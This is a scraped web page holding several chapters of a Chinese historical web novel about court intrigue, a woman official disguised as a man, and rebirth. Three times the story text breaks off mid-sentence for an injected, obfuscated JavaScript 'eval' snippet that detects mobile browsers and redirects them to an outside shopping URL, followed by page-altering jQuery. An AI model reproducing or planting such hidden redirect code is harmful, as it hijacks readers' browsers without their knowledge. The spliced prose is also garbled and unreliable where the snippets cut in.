枕清也露出微笑,她从袖中抽出匕首,捅向禹王,满座皆是仓皇震惊。 “阿耶,枕家百余人的性命,你该陪了,不是吗?” 枕清红着眼质问,看到禹王痛苦哀凉的神色,她更是笑得花枝乱颤。 王府内隐藏的暗卫见状大惊,箭矢纷纷射向枕清,枕清瞬间被万箭穿心,吉服染上血红印迹。 无数支利箭袭来,枕清身体猛然下坠,她沉重地倒在血泊中,余光中有惊慌失措向她跑来的宁千渝和应钰;满是震惊的花明被罗长观拉着;还有觉得不可置信的义宁;陈谷和包启元仿若没回神,行如傀儡,同脚步匆忙的宾客摩肩接踵,所有人在此刻如鸟兽聚散。 可她唯独看不清江诉的脸。 场面几度混乱,仇羌瞧到不知被谁碰撞到件物,一个平平无奇的外盒内掉出了一把匕首。那把匕首雕刻着精致的花纹,镶嵌着珠宝,一瞬间让人恍惚了眼,不知道那是一把利器,还是珍宝。 识货的人能看出这把匕首和王闻礼送给云流将军的不相上下,如果再仔细看下去,这把匕首比王闻礼最初所送的那把更甚。 枕清凝视着那件被践踏踢飞的漂亮匕首孤零零落在她的左手边,仇羌在混乱中不紧不慢地捡起那一把匕首,珠玉闪耀在阳光下,好似将她拉回到了半年前。 王闻礼说过要送她这样的一把匕首。 可惜啊,拿不到了。 这场及笄礼以凌乱收尾,只在史书中留下一句。 【枕清刺禹王,后暗卫杀之,众人皆愤慨,死后犹不信,开馆欲查之,禹王独保全。】 42. 身世非比昔人前(一) 天衍元年的初春还像是寒冬一样,空中飘起颗颗雪粒子,天地皆是白茫茫一片,看得人混沌不清,也冷得叫人发颤。 郁华隐行走在天寒地坼的长廊下,乌发用一根浅色丝带随意绑着,没有束冠亦没有插簪,似乎一直都是以简单朴素见人,处境好坏与否,于她而言,似乎不能用衣着来判断。 即使在难挨的寒冷下,身着单薄的直襟长袍的郁华隐背脊依旧挺拔如松,竟显得衣服垂感似是极好的怪味,一直跟随在身后的大监忍不住望了又望,好像一切都没有变,却又都变了。 寒风吹打在身上,好似化成了锋利的刀尖割在身上,实在令人难以忍受,便想放弃,不知道身为女子且穿的如此单薄的郁华隐是怎么能忍受这般极端又恶劣的天气。 女子啊。 大监面上不显,内心不免一僵。郁华隐入朝为官多载,朝廷内外无一人发现她是女儿身,也硬生生将人骗了好几载,这样怎叫人......说道。 确实不好叫人说道,朝中大臣一个赛一个的虚伪,他们怎么甘心被这样一个女主玩弄于股掌之中,凌驾在他们身上,斡旋于朝堂之内。 他们那般人又怎么会甘心呢?一想到郁华隐身为女子,却处处压她们一头,势必恨不得对郁华隐踩上一脚,往死里碾压,让她永无翻身之日才好。 可到底又是一个什么样的人,能在一群老奸巨猾的大臣内走到一人之下万人之上的地步?即使现在沦为阶下囚,却依旧能如闲庭散步一般;即使现如今她的势力如同大厦倾覆,可还是叫人不敢小觑。 郁华隐察觉到身后大监脚步缓下来,她微微顿停步子回身顾探,初春里略显苍白孤寂的小脸弯起一抹笑意,温声道:“我知道圣上的住处,大监不必再为我带路,早些回去歇息吧,莫要跟着我受冻了。” 听这般彬彬有礼的话,大监倍感受宠若惊,可新皇登基不到一月,他未完全了解新皇的喜怒,若是丢下郁华隐自己走了,他不敢想新皇会有怎样的脾气。 脑海中思索片刻,他只好压低脑袋,如实回道:“奉了旨意的,还是陪着中书令一道走吧,迎着寒风看看这雪中景色亦是别有风味。” “也好,不过大监不必叫我中书令,我也不再是中书令了。”郁华隐点点头,想到新帝,想牵动唇角笑意,可怎么也弯不上去,便也作罢。 沉默同行了一会后,大监才敢抬头朝郁华隐望一眼,再冷一些,郁华隐便和这天地色混作一团。此时飞雪随风吹拂,单薄衣服在风中猎猎作响,勾勒出她羸弱清瘦的身姿,额前的碎发与飘带一同飞舞,显得颇为轻盈,可那步子却比以往都要沉重些许。 大监自然知道是为何,朝中许多人想要她以死谢罪,抑或是逐出长安,永不再入。但新帝登基,大赦天下过后,或许也有一丝转机,况且郁华隐对于新帝登基是功不可没的能臣,在这件事上,倒也可以功过相抵。 二人走到了宣政殿的偏侧,大监望着郁华隐走到门前,便也站在一旁。或许是里边灯盏通亮,又或许宫殿遮挡住了风雪,原本惨白瑟缩的模样,逐渐恢复一抹血红。 郁华隐从衣袍伸出通红纤细的手,指尖推开厚实的大门,映入眼帘的只有一人。 那人提笔坐在桌案前,俊秀的眉眼轻轻蹙着,仿佛遇到了棘手的难题。而那一身明黄色的龙袍似是还未来得及褪下,整个人透着与生俱来的贵气,现在尤甚。 站了好一会,裴凌云似乎才发现郁华隐,稍稍抬起那张那面若冠玉的俊脸在明明晃晃的灯光下更为醒目,他面容的表情微微一滞,而后对她弯起笑。 “阿隐,走近些来。” 声音亲昵,没有半点责怪隐瞒的意思,好像一切都是最初的模样。 彼时的郁华隐站在风雪的灰暗里,裴凌云坐在金碧辉煌的宫殿内,二人相对而立,曾见过彼此最落魄的时候,也经历了现如今荣盛时期,只是新旧不如前。 郁华隐恍然想到阿耶曾对她说过,一朝天子一朝臣,天子换了,那么身为臣子的他们也落到了未知的境地。 可她从一开始便是选择裴凌云,那么她当真选错了吗? “阿隐。”裴凌云见郁华隐迟迟未动,再次唤她,声音略低,显然要在动怒的边缘。 郁华隐回神,抚了身上的飘雪,才抬步走了进去。 裴凌云见她一步步朝自己走来,心里忽然松了一口气,当即搁下手中的笔,没有端着天子的严肃,则是平常心道:“朕知道你这些时日在牢狱中受苦了,朕也一直和那些老头盘旋,这才有机会接你出来。你也知道的,你女扮男装入朝为官本就是不妥,他们都上奏参劾你罔顾礼法,欺君罔上,要逼着朕治你的死罪。” 他哀叹一声,“可朕舍不得啊。” 郁华隐眼皮略微一动,她抬起漆黑的眸子凝视他,薄唇微动,声音冷厉:“圣上,您在这些年里,当真不知道我是女儿身吗?” 是当真是不知道吗? 裴凌云一不留神望进郁华隐那双深不见底的眸子,像是有一股巨大的深渊要把他从云端拽下来,又像是在黑暗暴雪将他裹挟沉.沦。 他心脏猛然一动,他居然有些害怕。 其实他是知道的,在很多年前就知道了。 那时候他还只是个无名无份的弃子,不少人对帝王的位置虎视眈眈,太后殿下实在害怕,于是找了个法子将他流放廉州,永不入长安。 正巧郁华隐性子刚硬,得罪了人,被贬离开长安来到了他这里,起初他也没多在意这郁华隐,可郁华隐实在耀眼,在她的治理下,这块烂地方也有蒸蒸日上之势。 也就是因为郁华隐此举,他看到了郁华隐的才情能力,他在这里终于看到了希望。他不想永远都待在这里,他要往上走、向上爬,只有郁华隐能帮他。于是他常常凑在郁华隐眼前,跟随在她身侧。 只要抓住眼前的人,他一定有机会离开此地。 他甚至故意安排了一场刺杀,想让郁华隐知道此地凶险,要抓紧离开此地。也就是那天,在那危急关头郁华隐替他挡了一剑,那剑伤就在胸前。 在郁华隐为他挡剑的时候,他从来没想过郁华隐这么冷的人,居然还会舍命来救他。就好像是天上掉下一笔横财,叫人不敢相信。当时的他害怕知道郁华隐的秘密,郁华隐会抛弃他,所以选择隐瞒假装不知。 所有人都道郁华隐温和有礼,可在她身边的裴凌云觉得,她的心是狠的,对他狠,对臣子狠,对自己狠,唯独对百姓是极好。 “我知道,我知道你是女儿身。”裴凌云苦涩地笑了一下,不再以朕来称呼自己,“阿隐,你能不能不要总是对我冷冰冰的,我一直都怕你,最初怕你舍弃丢下我,后来怕你对我失望,现在又怕你的质问,别人都说你是个温文尔雅的性子,其实你比谁都冷。我时常妄想着,你有一天也能对我温柔些。” 他垂着脑袋,让郁华隐看不到自己的神色。裴凌云还怕她的才能谋略,怕她把自己从这个位置拖下去,也怕她就此消失不见,可他不敢说了。 裴凌云眼睫微颤,他听到他的声音在说:“我可以救你、赦免你,也不逐你出长安,只要你不再入朝为官,我会封你为妃为后,到时候你有享之不尽的荣华富贵,这比当官还要好,你也不用再担忧朝中杂乱的事情,当然也不会有人来报复你,我会护着你,你信我可好?” 最后一句的声音是轻轻的,像是询问,又像是试探。 心内猛然打鼓,裴凌云怀揣着紧张看向清冷的郁华隐,看不出一丝半点的情绪,她总是这么厉害,把自己的想法掩藏得极好,叫人分辨不出一点的喜与怒。 郁华隐默默听他说完,唇角弯起温和的笑,她那双深色瞳孔却染上了愠怒艳色,生气下的她,整个人鲜活又明艳了,蛊得人久久不能回神。她聪慧又漂亮,敏捷又能干,若不是在朝为官,想必提亲的门槛都要被踏破了。 郁华隐则是觉得好笑,抬眼逼视裴凌云,声音冷厉:“封妃?我入朝为官这么多年,在你身旁尽心尽力数年,最后是为得到你后宫的一个妃位?圣上,你要不要听听你在说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665334|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?或者你想干什么?你害怕我,却又舍不下我;你想留住我,却又强行不了我。这么多年,你还是学不会怎么留人,怎么用人。” 想法被拆穿的裴凌云听到最后一句,冷峻的脸庞泛起怒意,他起身猛然凑身上前去钳住郁华隐的下颌。郁华隐的脸被强硬一带,身子不稳将要撞上裴凌云的肩膀,她猛然抵住桌案,和他怒目相对。 裴凌云在此时此刻也不装了,他既然已经上位,自然把郁华隐在朝中难以消灭的势力压制住了,只要他控制郁华隐入了宫,那么她也就难有翻身之地。 不要怕她,不要怕她。裴凌云告诫自己。 他目光沉沉地看着郁华隐清秀的小脸,他怒极反笑:“我的确没你这般厉害,但你别忘了,现在坐上皇位的人是我,看人眼色,如何乖顺听话的人是你。把自己放在应该放的位置,现在的你只是一个阶下囚,不是一手遮天的中书令!” 指尖上温热的触感叫人发麻,裴凌云俯身,手指轻轻摩挲着她的下颌,沉声道:“阿隐,你不止有你自己,你还有同窗好友,你应当明白我话中的意思。” “你在威胁我?”郁华隐承受下巴传来的痛意,抬手一点点掰开裴凌云的手指,愤然推开裴凌云,裴凌云仓皇倒地。 她当即站起身,淬着寒凉的眸子垂望裴凌云,突然诡谲地笑了:“好极了。” 明明高居上位的是他,可总是在很多时候落了郁华隐一头,好像在主导地位的永远都不是他,即使他现在是九五至尊,是天子,是天下独一人,可在她面前还是没有变。 说完这话,两人都各怀心事,寂静无声。 裴凌云摸不清郁华隐的想法,他缓缓坐直身子,郁华隐冷然地站在一旁,他们的气氛已然到了诡异的地步。 最开始的时候,他们两人从相互选择予以扶持,再一同经历生死,却在成功之后落到这般面目全非的境地,都是心里的争权欲望作祟。 郁华隐又怎么会没预料到这般结局,只是裴凌云比她想象中更要决绝。他知道她不舍得离开长安故土,也知道她的才能还有发挥地步,于是永远锁在深宫内为他一人所用。 她从选择裴凌云的那一刻起,就已经没有路可以走了,现在裴凌云坐上帝王宝座,天下也已安定,朝局稳固,除了她,所有的事情都在向好的方向走。 那么她,似乎也没有留下的必要了。 身后的声音突然响起,裴凌云冷静道:“阿隐,你别怪我,你知道身在帝王宝座之上,多少事情都是身不由己,你能理解.....” 郁华隐压下深沉的眸子,打断他的话:“圣上,你应当安静些。” 所有的话都被堵在喉中,吞咽进了肚子里,再无出口的地方。他重新坐在桌案前,郁华隐则是静静看着殿外的风雪,孤立苍凉的身形在灯火辉煌的殿内,显得尤为突兀,那是怎么也融不化的雪山。 良久后,郁华隐问他:“圣上很怕我吗?” 裴凌云回:“会怕。” 郁华隐不解:“为何?” 裴凌云垂眼道:“你当真不清楚吗?你一个女子,凌驾于朝堂所有人之上,还能辅佐我一个被太后舍弃,只剩下血脉的我登上帝位,这样的谋略算计,世间能出几个人?” 良久没听到声音后,裴凌云又道:“我若是不称你的心意走,你是不是会在最开始的时候,就舍弃我而去找别人。” “是。”郁华隐承认。 “其实你一直都只是要一个听话的傀儡,并非是我。” 郁华隐回头看他,其实她从来没有这么想过,可是她现在已经没有什么话想对裴凌云说了,于是理了理衣摆跨出殿外,望见白芒的天色叫人看不清前路,她停留在门槛处,肩头乌发落了一层白雪,郁华隐突然出声。 “圣上,我走了。” 这一走,她再也没有回过头来。 史记对郁华隐最后的记载只有一句。 天衍元年春,前中书令郁华隐于宫中自缢,帝得知,悲痛一月,三月后薨逝。 43. 身世非比昔人前(二) 观和二年冬。 观和二年冬。 郁府的院外白墙环护,亭台楼阁,池塘水榭,游鱼戏弄青石,映在百竿翠竹之中;东厢房墙两边立着两株青松,屋檐下数丈梅花枝枝晃晃。 本是冷冽的天气,好在前日下了一场大雨,院内更显森寒。林珠端着浑浊汤药步履匆忙踏上青石板,径直朝屋内走去,将药搁置在桌上,目光担忧地看向躺在床上多日未起的郁华隐。 一旁的月琼也跟着苦恼了起来:“小郎君自从在宫内回来了一趟连躺了数日,早上大夫人也来看过了,真叫人担忧。” 林珠和月琼从小便跟随在郁华隐的身边,对于郁华隐女子的身份也是知道的。 郁府只有郁华隐一个孩子,郁大人为了郁华隐能上学堂,瞒住外人郁华隐是女儿身的身份,而郁华隐对外一直是郁家郎君的身份自居,即使在府中,不用受人把柄,她们也早已习惯这么称呼,好像真就成了郁府的小郎君。 郁华隐难受迷糊地睁开眼,满目晕眩过后,她看到了自己早些年住在郁府的闺房,视线略微一抬,她望见早已离世的林珠和月琼,只是这两人表情怪异,只呆傻地站着原地看她,像是没换过神来,又像是被施了某中静止的术法。 她嘴角不免弯起一抹弧度,喉咙突然升起一股腥甜味,突然不受控制地朝地面猛然吐了一大口深血,她手抓住床头杆子,才稳住身子不让自己翻滚在地。 床头挂着清脆的风铃,因为她这个大动作响起,伴随而来的是林珠和月琼的惊呼声,声音是那么地嘈急刺耳,一切都是那么虚浮又切实。 她再抬眼看去,林珠已经不见了,月琼满心着急地看着她。 月琼视线停留良久,眼眶浮出薄薄水雾,一滴两滴泪珠啪嗒啪嗒地掉,哽咽着声音道:“郎君,你真是吓死我了,自从在宫中回来,你就一直躺着不醒,这一醒来就是吐这么一大口血,叫人怎么办才好啊。” 郁华隐还没弄清楚现如今的情况,她没忍住抬手去擦拭月琼的眼泪,却也注意到这个对话,她凝眉问道:“宫中?我去见了哪个贵主?” “太后殿下。”月琼又痛心疾首地说,“郎君不会是病糊涂了,什么都记不清了。” 太后殿下。 郁华隐这两天都在昏睡,脑袋沉重,实在是无暇想这么多。 郁华隐正欲多问,只见郁母脚步匆匆地掀开帘帐,一见到郁华隐就红了眼睛,郁华隐刚想出声安慰,郁长啸面色略显沉重,他率先走近开口告知:“太后殿下要派你前去廉州,且让圣上任命你为廉州司马,你可是让太后殿下发现你的身份?还是你做出了什么出格的事情,遭此祸患?” 郁母嗔怪地瞥了一眼郁长啸,冷不丁道:“隐儿的性子你又不是不知道,她能做什么出格的事情?反倒是你,隐儿有了官职,你倒是担忧了起来。” 郁长啸沉着声道:“你一个妇道人家懂什么?这司马能是个什么好职位,况且还是廉州那样的地方!” 司马的确不是个好职位,空有名誉头衔,闲散无事,没有实权,更没有施展抱负可言。 可这样子的职位,对于女儿身的郁华隐,未必不是一个好选择,只是可惜是廉州那样的地方。 郁母垂首摆了摆袖口,讽刺道:“是啊,我一个妇道人家哪能比得上你啊,半身归来还是五品官员,光长年龄不涨品,人年纪轻轻的江中丞都成为从三品的长史了,哪能比得上你啊。” “你......我当初怎么会看上你!”郁长啸被气得半晌,“你怎的拿我和江诉相比?他身后可是太后殿下撑着腰!我是一步步爬上来的!” 郁母听到这话可是来劲了,她嘲弄道:“怎的比不得?怎的就比不得!哟,你别口口声声一个又一个的太后殿下,人江长史状元郎总是自己考上的吧?这总没有假的吧?人是有那个本事,即使没有太后殿下,他也是有那个本事!” 眼见得越吵越凶,郁华隐额头泌出冷汗,手按住胸口,“耶娘不要再吵了,既然是太后殿下的旨意,我去便是,倒也不是因为我的身份被她知晓,而是因为裴凌云。她想要裴凌云死,让裴凌云永无翻身之日。” 裴凌云。 郁长啸听到郁华隐说出这话,心中波澜壮阔,五味杂陈。 圣上登基才两年,太后殿下便已经急不可耐地铲除先皇留下的血脉,要将大启牢牢控住在手中。虽说旁人早已虎视眈眈,大家都盯着那块肥肉,谁都不可割舍,可他们郁家向来明哲保身,从不参与。 郁华隐此次一去,怕是又要掀起一阵腥风血雨,想躲也躲不了。 让郁华隐担任司马本就不合理,偏偏又有太后殿下压着,叫人翻身都难。 郁家藏拙多年,终究是被盯上了。 他抿唇不语,只见郁华隐撑着身子又道:“无论阿耶如何选择,都会被其他党羽排挤,即使受用了,也会觉得阿耶是个见风使舵之人,况且县主身死,禹王重伤,朝局不稳,倒不如按兵不动,让别人来向咱们抛橄榄枝。” 郁母见郁华隐痛的厉害,当即拿出帕子为她擦掉冷汗,郁华隐还要出声规劝,郁母端起这汤药不停送到郁华隐嘴边,将郁华隐的话堵在嘴里,哼了一口气道:“你们两人说要选谁我是看不清楚局势,我也不管,我知道你的当下是要把身子养好。” 郁华隐看着见底的碗,和母亲的脸,不自觉扬起温和的笑容。 郁长啸也跟着挤出一抹笑,道:“原本只是想和你说一声,没想到你给我说了这么多。你说的也有道理,隐儿长大了,可以为父分忧了。” 郁母见孩子不再那么难受,心中微微放松。在她心里,郁华隐还是个孩子,只是可怜自小当男孩生养。 自从当了上了太学,日日在外头奔波受累不说,还要为了朝中局势站稳脚跟而殚精竭虑,现如今还遭了吃毒药的苦楚,她还没到弱冠,这叫她如何不心疼自己的孩子。 抹了抹眼泪的郁母拉起郁华隐的手,轻轻抚摸,又狠狠瞪了一眼郁长啸:“都怪你在朝中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665335|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没半点本事,才让隐儿受尽苦楚,至于你那些弯弯绕绕先等隐儿养好了身子再说。” 郁母站起身连拉带拽着人走,为了让她能好好休息,就连桌案上的笔墨也一并收走了,叫郁华隐哭笑不得,却也感受到了亲人久违的爱意。 等人全部走过,偌大的屋子变得空旷了起来,她确实也不想管其他的人事情,于是躺在床上开始胡思乱想了起来。 这几日又做了噩梦。 上一世的她在最后跟裴凌云说自己走了,并非是跨出那个殿门,而是想离开长安。在谋划的那天,还没出宫殿,就被人送来了一杯毒酒,说是奉旨让她上路。 奉旨,这是谁的旨意不言而喻。 那晚四下无人,皇宫安静到听不到一丝声音,唯独心间的凉意被浇灌的厉害,一点点在黑暗中跳动,最后也没能躲过死的结局。 这真是裴凌云的旨意吗? 他居然忌惮她到这种地步了吗? 她深深叹了一口气。 胸腔内还有余毒,她被太后殿下喂了毒药的那日还历历在目。太后殿下并不知道她女子的身份,只居高临下地看着她,威逼利诱她前去廉州杀了裴凌云。 郁华隐虽然答应了,可这终究不是一个好办法。 早在之前,枕清同她说许多人都重生了,而她身为女子的身份并非天衣无缝,既然她枕清知道,那么势必还有旁人知晓,只是大家都在按兵不动,可能在之后的某一天给她避无可避的致命一击。 倘若枕清还在的话,她还能同枕清商量。 可惜了。 反观上一世的她,在观和三年考取了状元郎,连升三阶,品级直逼自己的父亲,人人都道她后生可畏;观和五年,她妄想着能改变朝局腐败气息,行事太过莽撞,得罪了户部侍郎,被使绊子迁去了廉州;观和六年的时候,她开始和裴凌云有了瓜葛,也为自己和裴凌云回长安铺路;观和七年她带着裴凌云回了长安,在朝堂逐步坐稳了位置。 直至观和八年,也就是天衍元年,她把裴凌云送上了皇位,也把自己送上黄泉路。 彼时的太后殿下忌惮防备她,却又不得不提前用她。一切都将要提前了,郁华隐不禁开始担忧了起来。如此一来,那么原本属于她状元郎的位置,也只能落入他人之手。 所有的事情都变了,她也不能再坐以待毙。好在一切并非让她措手不及,在枕清的提醒下有所准备,不过太后殿下竟然对她用毒,可真是有些心急了。 让她原本想去廉州的心,倒是找了个合适的借口。 据枕清说,她死后的那年,裴凌云也死了,之后是有个叫张宣晟的人登上皇位。 张宣晟吗? 郁华隐下了床榻,拿起一旁的披风,推开了房门,裹挟雪粒子的一阵寒风吹到她的脸上,不一会,眼睫覆上一层白霜。 这几日天寒地冻,路面铺上了厚厚的积雪,郁华隐拿上门边的油纸伞,提着灯笼,在浓浓夜色中出了门去。 44. 身世非比昔人前(三) 夜阑人静。 府中的阁楼突有一声吱呀,老阍人提灯朝前走,路过几处湿漉漉的地方,碎碎念念地提醒着说:“路面湿滑,可得小心些,今儿个要这么早出发吗?这不是折腾人吗?好好地待在长安多好,偏偏要把你派去凉州那地方。” 身旁的人只是轻轻笑了一声,对于身旁的唠叨,颇为无奈。 老管家继续絮絮叨叨道:“听说陇右还是很冷,衣服带够了吗,来来往往又不方便,而且那地还闹事,不服朝廷,怕是不好解决,听说庄稼收成也不好,如果闹了饥荒,人到那时候怕是要出恶民,你若是要什么东西写信让我帮忙,我一老农,大字不识一个,我也怕别人骗我这个老头子,我听隔壁就……” 话音未落完,老阍人不稳地朝旁边歪去,江诉急忙拉住,待老人站稳后,没见受伤后,才放心道:“也就周伯把我当成小孩,既然太后殿下派我前去自然是觉得我可以,我那边不用愁,倒是周伯要照顾好自己。” 周伯叹了一口气道:“你在我这,可不就是个小孩吗?孩子出远门,哪有不担忧的道理,噫......这阁楼的灯怎么还亮着。” 江诉循着周伯的视线望去,那人恰好推门出来,她站在昏暗不明的烛台灯屋前,与之遥遥相视,过了片刻,她缓缓踏步而来,站在两人面前亲切笑道:“我也来送送江中丞。” 天色昏暗,周伯在两人身上徘徊,嘿嘿笑说:“我这身子骨有些不行了,那就有劳小娘子送行了,你们两人多聊会。” 江诉哪里会不明白周伯的意思,不过他平日里也只随意笑笑,这种事情也就过去。周老虽然心里着急娶亲之事,却也耗不过江诉。 江诉并不需要这么着急启程,王闻礼既已伏诛,他早一些晚一些,那里的位置依旧是他的。倘若是怕在陇右有他不能摆平的事情,早些去晚些去都是一样的。 彼时正值寒冬腊月,各个穿着厚实,外出的男郎女娘都要回来了,家家户户置办得喜庆热闹,行路上皆是滚滚积雪,不仅容易断了路,也没有好打猎的粮食饱肚。 只是……江诉不想再等了。 江诉微微提起灯笼,照清女子脚下一地积雪,偏头问:“怎么不多睡一会?” 女子回道:“因为想送中丞大人,所以不敢多睡。” 江诉有些恍惚,他好似很久都没有听到这个称呼。 犹记得圣上在大殿内下旨让他前去陇右接替王闻礼的位置,那群人的目光中,艳羡的有、嫉妒的有、无所谓的有、看好戏的也有,不过那一幕幕别有深意的眼神中,都换成了一道又一道恭喜。 那么多的声音,他早已分不清是真心祝贺,还是虚情假意。 他在朝中那么多年,每一次向前、向上走的脚步都是虚浮的,唯有枕清让他出了长安城,他回首望看,才觉得自己真正地落到实处。 “中丞吗?”江诉喃喃道。 女子似才察觉自己叫错了,恍然大悟般道:“是我错了,你现如今水涨船高,我理应喊你江长史才对。” 她话锋一转,犀利又天真,“禹王府那天,那么多人都看到枕清死在禹王的暗卫手中,就连你也看到了,可我怎么就那么不信呢?你说她这图得是什么?当真只是为了报枕家的仇?” 江诉的脚步一顿,他停下步子,垂眸冷视女子。 那女子见怪不怪,甚至无所谓地耸耸肩:“这都过了一个月了,枕清也早被安排下葬,禹王养伤一直闭门不见,现下年关将至,你何不过了这段时间再走,还是说你也想远离长安这个伤心地? “我就想不明白了,你们一个、两个的都这么为枕清痴迷?你要走,应钰和陆佑善也要走,宁千渝同青黛带来的那两个昆仑奴在她墓前哭天动地的,甚至连云流大将军都在她墓前送了一束花,长安内几乎有名的没名的都送了,就连这件事的主角禹王也没有苛责问拿枕清的意思。” 江诉身量极高,平日里都透着温和的气息,却没有旁人身居高位后所给予的压迫感,所以女子在他面前几乎是口不择言,想说什么就说什么。 可在这刹那,江诉的俯身逼近,她整个人都被陇在江诉的气息之下,她抬眼,介于少年与青年之间的气息当然无存,那张俊美的面庞更为精致,带着一种不容反抗的气势,甚至还能嗅到一股危险的气息。 “你想说什么,卷柏?” 江诉的声音很好听,语气十分清明,唯独在说她名字后上翘的音色,颇为让人察觉到十足十的威胁。 没错,是威胁。 说都说不得了。 “我什么都不想说,只是你之前让我留意陆佑善,现如今陆佑善要离开长安,而我也没有旁的事情了。” 卷柏退后,后怕的感觉因为远离江诉而消散。 她一直奉江诉的命令留意陆佑善,关注枕清,甚至还要对陆佑善给枕清的食物都要仔仔细细查验,生怕陆佑善要毒死枕清一样。 现在陆佑善要走了,枕清也死了,就连江诉也要去陇右,好像这偌大的长安城里只有一个人,实在是不知道下一步该做什么。 江诉恰似知道她所想,抬手举了举自己手中的灯笼,问道:“你说了那么多,你想要跟我一同去陇右?” 卷柏双眸应在江诉举起的灯笼后,圆眼乍亮,她点头,又小心翼翼地问:“可以吗?” “卷柏,那里不是玩的地方,况且你年纪尚小。”江诉无奈道,“那个地方不平静,你若真的想清楚了,那就去吧,不过你得答应我一个条件。” “我答应!十个我都答应!”卷柏面露兴奋,当即伸手拿过江诉的灯笼,狗腿子般朝前带路。 她又不傻,她之所以会答应,也只是因为江诉不会让她做什么违法犯忌的事情,也不会把她置于危险的境地。最初她是被她爹卖给牙婆子的,后来牙婆子又把她卖给江诉了,起初江诉并不想要她,一来可能是没钱,二来或许是因为她是女郎而不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665336|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方便的缘故。 可不知道为什么江诉还是花光了身上的银子买下了她,当她问起原因的时候,江诉认真地说:“你的眼睛很黑很亮,看起来很忠诚,像我很多年前养的狗。” “......” 一下子说不出是不是故意的。 可在他的语气中没有一点玩笑,眼神溢满真诚。 后来,江诉见她真的那么认为,笑着说:“我这是在逗你的,我从未养过什么狗,之所以会救你,只是想做一件自己力所能及的好事。” 这是他第一次跟卷柏开玩笑,可卷柏并不信他所说的,但又觉得江诉没有必要去欺骗自己。 再后来和江诉相处过一段时间后,卷柏才去的陆府。也是在相处的这期间内,她发现江诉是一个很矛盾的体系,一面在撕裂刨解,一面在拼凑修复。 他身体里好像有两个他。 现在长成大人模样了,两面的江诉展露在其他人的目光下变得越来越统一,统一到让卷柏都产生了怀疑,可方才的施压,她又好像觉得江诉一直没变,只是身体里有一个巨大的野兽,被他压制得厉害。 特别厉害。 就是不知道那一天爆发。 不过爆发也祸及不到她身上。 卷柏特别想得开,越想越觉得欢快,就连脚步也轻快了不少。江诉落在她身后,看到身前的小娘子,不免失笑。 卷柏说是他养大的,其实也不完全是。他和卷柏也就相处过一月,卷柏更多都是跟在陆佑善旁边,起初他并不觉得他安排卷柏进陆府有多大作用,可是她竟然能从每月一封信到半月一封信,事无巨细的告知她陆府的一切,以及陆佑善和枕清的关系。 所以在陆佑善去枕清那里时,他都能知道陆佑善的心思。 不过经历上一世,很多事情也能猜测得到。 卷柏突然出声问:“你为什么要去陇右?” 江诉正经道:“奉太后殿下旨意。” 卷柏嗤地一声,反问道:“这事难道不是你所愿?” 江诉正声道:“即是旨意,哪有什么愿与不愿。” 一点都不信。 卷柏一点都不信江诉这些冠冕堂皇的话。 倘若江诉不愿意的事情,江诉一定有一千个、一万个法子让这件事中断,可他没有做出任何动作。 她并不觉得江诉会想去陇右,虽然陇右是块肥肉,但并不是所有人都能吞得下去,又或者是冒险去分一杯羹,况且江诉从来不屑于去争这些东西,他好像游荡在这个世界之外,却又切切实实存活在世界之内。 这些年,卷柏在陆佑善底下了解天下大小事,起初虽是看不明白,但陆佑善会慷慨地为她解释,让她思想和眼界大为开阔,现在许多事情无需提点,只需要想想就能明白其中门道。 她很感谢陆佑善,可她从一开始,就不是和陆佑善为同路人。所以当陆佑善说要离开长安后,她也从陆府中离开。 45. 身世非比昔人前(四) 卷柏小心翼翼地垂首走在堆积的雪地里,一脚深一脚浅。 她漫不经心地走着,忽而灵光乍现般开口道:“太后殿下派你前去陇右,我好像明白了为什么,大概是因为中丞大人实在是没有倾覆的野心,掌权的欲望。换我,我也觉得中丞大人实在稳妥......” 江诉眸色微暗,警醒道:“卷柏,谨言慎行。” “是是是,小的知道了。”卷柏敷衍地点头哈腰,随后大步跨出门扉。 隔墙有耳,她自然知道,可在江诉面前总是会忍不住说出口。大抵是因为有他在的原因,说什么都没关系,他这么厉害,一定兜底善后的能力,叫她安心。 虽然知道了太后殿下的动机,可卷柏始终没明白江诉想要的到底是什么,又为何一定要离开富庶繁华的长安,去往陇右。 若非没有大逆不道的想法,这多多少少有些得不偿失。 卷柏甩了甩脑子里的想法,既然从陆府出来,她就打算只做个吃喝玩乐的废材!况且她只是一个小女娘,哪里需要明白这些! 开阔了思绪,当即哼唧起歌来。 少女的心思变化总归是快的,江诉注意到卷柏的脚步逐渐轻快,喉咙中发出雀跃的声响,不免觉得女娘家的心思好笑。 